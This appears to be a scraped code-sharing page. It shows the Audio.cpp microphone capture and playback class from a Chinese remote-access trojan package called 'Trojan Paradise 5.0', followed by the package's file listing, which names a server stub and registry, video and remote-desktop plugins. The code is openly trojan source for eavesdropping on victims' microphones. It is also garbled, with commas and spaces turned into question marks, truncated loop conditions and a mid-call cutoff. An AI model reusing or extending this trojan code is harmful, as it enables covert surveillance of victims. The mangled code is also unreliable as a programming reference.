//?Audio.cpp:?implementation?of?the?CAudio?class.
//
//////////////////////////////////////////////////////////////////////

#include?“Audio.h“

//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::~CAudio（）
{
	if?（m_bIsWaveInUsed）
	{
		waveInStop（m_hWaveIn）;
		waveInReset（m_hWaveIn）;
		for?（int?i?=?0;?i?			waveInUnprepareHeader（m_hWaveIn?m_lpInAudioHdr[i]?sizeof（WAVEHDR））;
		waveInClose（m_hWaveIn）;
		TerminateThread（m_hThreadCallBack?-1）;
	}

	if?（m_bIsWaveOutUsed）
	{
		waveOutReset（m_hWaveOut）;
		for?（int?i?=?0;?i?			waveOutUnprepareHeader（m_hWaveOut?m_lpInAudioHdr[i]?sizeof（WAVEHDR））;
		waveOutClose（m_hWaveOut）;
	}		


	for?（int?i?=?0;?i?	{
		delete?[]?m_lpInAudioData[i];
		delete?m_lpInAudioHdr[i];
		
		delete?[]?m_lpOutAudioData[i];
		delete?m_lpOutAudioHdr[i];
	}

	CloseHandle（m_hEventWaveIn）;
	CloseHandle（m_hStartRecord）;
	CloseHandle（m_hThreadCallBack）;
}

LPBYTE?CAudio::getRecordBuffer（LPDWORD?lpdwBytes）
{
	//?Not?open?WaveIn?yet?so?open?it...
	if?（!m_bIsWaveInUsed?&&?!InitializeWaveIn（））
		return?NULL;

	if?（lpdwBytes?==?NULL）
		return?NULL;

	SetEvent（m_hStartRecord）;
	WaitForSingleobject（m_hEventWaveIn?INFINITE）;
	*lpdwBytes?=?m_nBufferLength;
	return	m_lpInAudioData[m_nWaveInIndex];
}

bool?CAudio::playBuffer（LPBYTE?lpWaveBuffer?DWORD?dwBytes）
{
	if?（!m_bIsWaveOutUsed?&&?!InitializeWaveOut（））
		return?NULL;

	for?（int?i?=?0;?i?	{
		memcpy（m_lpOutAudioData[m_nWaveOutIndex]?lpWaveBuffer?m_nBufferLength）;
		waveOutWrite（m_hWaveOut?m_lpOutAudioHdr[m_nWaveOutIndex]?sizeof（WAVEHDR））;
		m_nWaveOutIndex?=?1?-?m_nWaveOutIndex;
	}
	return?true;
}

CAudio::CAudio（）
{
	m_hEventWaveIn		=?CreateEvent（NULL?false?false?NULL）;
	m_hStartRecord		=?CreateEvent（NULL?false?false?NULL）;
	m_hThreadCallBack	=?NULL;
	m_nWaveInIndex		=?0;
	m_nWaveOutIndex		=?0;
	m_nBufferLength		=?1000;?//?m_GSMWavefmt.wfx.nSamplesPerSec?/?8（bit）

	m_bIsWaveInUsed		=?false;
	m_bIsWaveOutUsed	=?false;

	for?（int?i?=?0;?i?	{
		m_lpInAudioData[i]?=?new?BYTE[m_nBufferLength];
		m_lpInAudioHdr[i]?=?new?WAVEHDR;

		m_lpOutAudioData[i]?=?new?BYTE[m_nBufferLength];
		m_lpOutAudioHdr[i]?=?new?WAVEHDR;
	}
	
	memset（&m_GSMWavefmt?0?sizeof（GSM610WAVEFORMAT））;

	m_GSMWavefmt.wfx.wFormatTag?=?WAVE_FORMAT_GSM610;?//?ACM?will?auto?convert?wave?format
	m_GSMWavefmt.wfx.nChannels?=?1;
	m_GSMWavefmt.wfx.nSamplesPerSec?=?8000;
	m_GSMWavefmt.wfx.nAvgBytesPerSec?=?1625;
	m_GSMWavefmt.wfx.nBlockAlign?=?65;
	m_GSMWavefmt.wfx.wBitsPerSample?=?0;
	m_GSMWavefmt.wfx.cbSize?=?2;
	m_GSMWavefmt.wSamplesPerBlock?=?320;
}

bool?CAudio::InitializeWaveIn（）
{
	if?（!waveInGetNumDevs（））
		return?false;

	MMRESULT	mmResult;
	DWORD		dwThreadID?=?0;
	m_hThreadCallBack?=?CreateThread（NULL?0

?屬性????????????大小?????日期????時間???名稱
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?????文件?????148480??2015-12-28?20:40??木馬樂園5.0\Bin\Plugins\Dll\Video.dll

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?????文件?????655360??2004-08-17?20:00??木馬樂園5.0\Bin\Plugins\MSTSCAX.DLL

?????文件??????61440??2015-10-14?20:51??木馬樂園5.0\Bin\Plugins\Regedit.dll

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?????文件?????122880??2015-12-28?20:37??木馬樂園5.0\Bin\System\Server.dat

?????文件??????47418??2015-12-27?22:46??木馬樂園5.0\Bin\System\Server.rar

?????文件????????730??2015-11-07?01:44??木馬樂園5.0\Client.dsw

?????文件???????5195??2014-06-07?21:39??木馬樂園5.0\common\Audio.cpp

?????文件???????1280??2008-03-19?00:31??木馬樂園5.0\common\Audio.h

?????文件???????1810??2008-03-25?01:09??木馬樂園5.0\common\CursorInfo.h

?????文件?????919876??2011-12-06?13:55??木馬樂園5.0\common\libxvidcore.lib

?????文件???????8716??2015-12-28?20:33??木馬樂園5.0\common\macros.h

?????文件???????3636??2008-03-26?03:07??木馬樂園5.0\common\VideoCodec.h

?????文件???????7810??2008-01-04?21:42??木馬樂園5.0\common\zlib\zconf.h

?????文件??????40900??2008-01-04?21:42??木馬樂園5.0\common\zlib\zlib.h

?????文件??????81534??2007-11-14?21:29??木馬樂園5.0\common\zlib\zlib.lib

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